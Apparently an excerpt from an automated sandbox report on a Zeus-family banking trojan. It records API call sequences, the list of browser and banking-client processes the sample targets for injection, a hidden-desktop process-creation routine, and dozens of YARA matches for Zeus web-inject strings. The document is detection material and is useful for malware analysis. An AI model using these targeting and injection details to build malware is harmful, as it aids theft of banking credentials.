Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A36370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A36370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A36370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A23510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A23510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A23510

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C786C0 CreateDesktopA,SetThreadDesktop,memset,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,RegisterWindowMessageA,CreateThread,GetHandleInformation,SetThreadDesktop,memset,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,CreateThread,GetHandleInformation,CloseHandle,SetEvent,

2_2_02C786C0

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.13.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.3.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2c70000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.56.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.34.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.30.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.20.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.36.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.28.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.33.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.45.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.21.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.f380000.11.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.38.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.20.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.4.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.40.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.29.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.52.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.36.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.45.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.UMwpXhA46R.exe.406400.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.56.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2cd1c00.5.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.12.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.5.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.49.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.26.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29f3c00.3.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.d580000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.34.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.0.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.UMwpXhA46R.exe.708de8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.50.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.16.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.49.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c40000.17.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.23.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.53.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.14.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.53.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.19.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.25.raw.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.21.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.39.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.b00000.50.unpack, type: UNPACKEDPE	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
